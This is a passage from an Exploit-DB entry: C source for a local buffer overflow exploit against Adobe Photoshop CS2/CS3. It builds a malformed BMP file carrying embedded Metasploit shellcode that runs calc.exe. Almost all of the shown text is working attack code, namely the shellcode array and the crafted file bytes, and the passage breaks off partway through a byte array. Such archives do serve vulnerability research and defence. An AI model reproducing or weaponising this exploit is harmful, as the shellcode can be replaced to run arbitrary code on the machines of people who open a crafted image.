Exploit-DB #3793
Description: Adobe Photoshop CS2 / CS3 - '.bmp' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-04-24
Author: Marsu

Exploit:
/****************************************************************************\
*                                                                            *
*      Adobe Photoshop CS2 / CS3 Unspecified .BMP File Buffer Overflow       *
*                                                                            *
*                                                                            *
* There is a buffer overflow in Adobe products that can be triggered while   *
* processing a malformed BMP, DIB or RLE file.                               *
*                                                                            *
* This sploit runs calc.exe.                                                 *
* Tested against Win XP SP2 FR.                                              *
* Have Fun!                                                                  *
*                                                                            *
* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                 *
\****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char Shellcode[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26"
"\x45\x32\xe3\x83\xeb\xfc\xe2\xf4\xda\xad\x76\xe3\x26\x45\xb9\xa6"
"\x1a\xce\x4e\xe6\x5e\x44\xdd\x68\x69\x5d\xb9\xbc\x06\x44\xd9\xaa"
"\xad\x71\xb9\xe2\xc8\x74\xf2\x7a\x8a\xc1\xf2\x97\x21\x84\xf8\xee"
"\x27\x87\xd9\x17\x1d\x11\x16\xe7\x53\xa0\xb9\xbc\x02\x44\xd9\x85"
"\xad\x49\x79\x68\x79\x59\x33\x08\xad\x59\xb9\xe2\xcd\xcc\x6e\xc7"
"\x22\x86\x03\x23\x42\xce\x72\xd3\xa3\x85\x4a\xef\xad\x05\x3e\x68"
"\x56\x59\x9f\x68\x4e\x4d\xd9\xea\xad\xc5\x82\xe3\x26\x45\xb9\x8b"
"\x1a\x1a\x03\x15\x46\x13\xbb\x1b\xa5\x85\x49\xb3\x4e\x3b\xea\x01"
"\x55\x2d\xaa\x1d\xac\x4b\x65\x1c\xc1\x26\x53\x8f\x45\x6b\x57\x9b"
"\x43\x45\x32\xe3";


char bmp_file_part1[] = 
"\x42\x4d\x38\x70\x03\x00\x00\x00\x00\x00\x36\x04\x00\x00\x28\x00"
"\x00\x00\xfd\x01\x00\x00\xb6\x01\x00\x00\x01\x00\x08\x00\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x09\x92\x00\x4e\x09"
"\x92\x00\x88\x23\x12\x00\x24\x00\x02\x00\x74\x21\x12\x00\x02\x00"
"\x00\x00\x90\x41\x92\x00\x00\x90\xfd\x00\x05\x10\x91\x00\x1c\x20"
"\x12\x00\x00\x00\x00\x00\xec\x20\x12\x00\x18\xee\x91\x00\x70\x09"
"\x92\x00\xc0\xe4\x98\x00\x6f\x3e\x92\x00\x62\x3e\x92\x00\x08\x02"
"\x00\x00\x2c\x24\x12\x00\x04\x24\x12\x00\x45\x09\x92\x00\x4e\x09"
"\x92\x00\xd8\x23\x12\x00\x24\x00\x02\x00\xc4\x21\x12\x00\x02\x00"
"\x00\x00\x90\x41\x92\x00\x00\x90\xfd\x00\x05\x10\x91\x00\x6c\x20"
"\x12\x00\x00\x00\x00\x00\x3c\x21\x12\x00\x18\xee\x91\x00\x70\x09"
"\x92\x00\xc0\xe4\x98\x00\x6f\x3e\x92\x00\x62\x3e\x92\x00\x08\x02"
"\x00\x00\x7c\x24\x12\x00\x54\x24\x12\x00\xe8\x20\x12\x00\x00\x00"
"\xaf\x00\x32\x07\x92\x00\x51\x00\x00\x00\xb8\x15\xaf\x00\x00\x00"
"\xaf\x00\x50\xa0\x3f\x00\xc0\x20\x12\x00\x18\x00\x00\x00\x04\x23"
"\x12\x00\x18\xee\x91\x00\x38\x07\x92\x00\xff\xff\xff\x00\x32\x07"
"\x92\x00\xab\x06\x92\x00\xeb\x06\x92\x00\xc8\x23\x12\x00\x80\x02"
"\x00\x00\x00\x00\x00\x00\xab\x06\x92\x00\xeb\x06\x92\x00\x08\x90"
"\x58\x00\xb4\x00\x00\x00\x38\x04\x00\x00\x00\x00\x00\x00\x00\x05"
"\x00\x00\xc6\x21\x00\x00\x00\x00\x00\x00\x64\xfc\xfd\x00\x45\x09"
"\x92\x00\x4e\x09\x92\x00\x68\x65\x00\x00\xa8\x20\x12\x00\x54\x24"
"\x12\x00\xe8\x23\x12\x00\x18\xee\x91\x00\x7c\x24\x12\x00\x08\x00"
"\x00\x00\xf8\x23\x12\x00\x2e\x40\x92\x00\xa8\x20\x15\x00\xd0\x21"
"\x12\x00\x70\x09\x92\x00\xc0\xe4\x98\x00\xef\x40\x92\x00\xbb\x40"
"\x92\x00\x00\x00\x00\x00\x00\xfc\xfd\x00\x01\x80\x00\x00\xd0\x00"
"\x57\x00\x36\x00\x00\x00\x70\x21\x12\x00\x5c\x00\x44\x00\x00\x00"
"\x00\x00\x08\x00\x0a\x00\x88\x3e\x92\x00\x1a\x02\x00\x00\x00\x00"
"\x00\x00\xab\x06\x92\x00\x00\x00\xe2\x00\x7c\x24\x12\x00\x64\x00"
"\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x5a\x00\x6f\x00\x64\x00"
"\x66\x00\x00\xfc\xfd\x00\xd0\x21\x12\x00\x02\x00\x00\x00\xa0\x20"
"\x15\x00\x7a\x00\x00\x00\x08\x90\x58\x00\x5c\x00\x44\x00\x6f\x00"
"\x63\x00\x75\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00"
"\x61\x00\x6e\x00\x64\x00\x20\x00\x53\x00\x65\x00\x74\x00\x74\x00"
"\x69\x00\x6e\x00\x67\x00\x10\x00\x00\x00\x38\x22\x12\x00\x00\x00"
"\xaf\x00\x32\x07\x92\x00\x03\x00\x00\x00\x18\x07\xaf\x00\x00\x00"
"\xaf\x00\x50\xa6\x45\x00\x10\x22\x12\x00\x5c\x00\x64\x00\x54\x24"
"\x12\x00\x18\xee\x91\x00\x38\x07\x92\x00\xff\xff\xff\x00\x32\x07"
"\x92\x00\xab\x06\x92\x00\xeb\x06\x92\x00\x20\x86\x96\x00\x0c\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xaf\x00\x64\x22\x12\x00\x00\x00"
"\x00\x00\xc8\x05\x92\x00\xc8\x7b\x49\x00\x30\x23\x12\x00\x51\x05"
"\x92\x00\x08\x0b\xaf\x00\x6d\x05\x92\x00\xd0\x7b\x49\x00\xd0\x7b"
"\x49\x00\xd4\x7b\x49\x00\x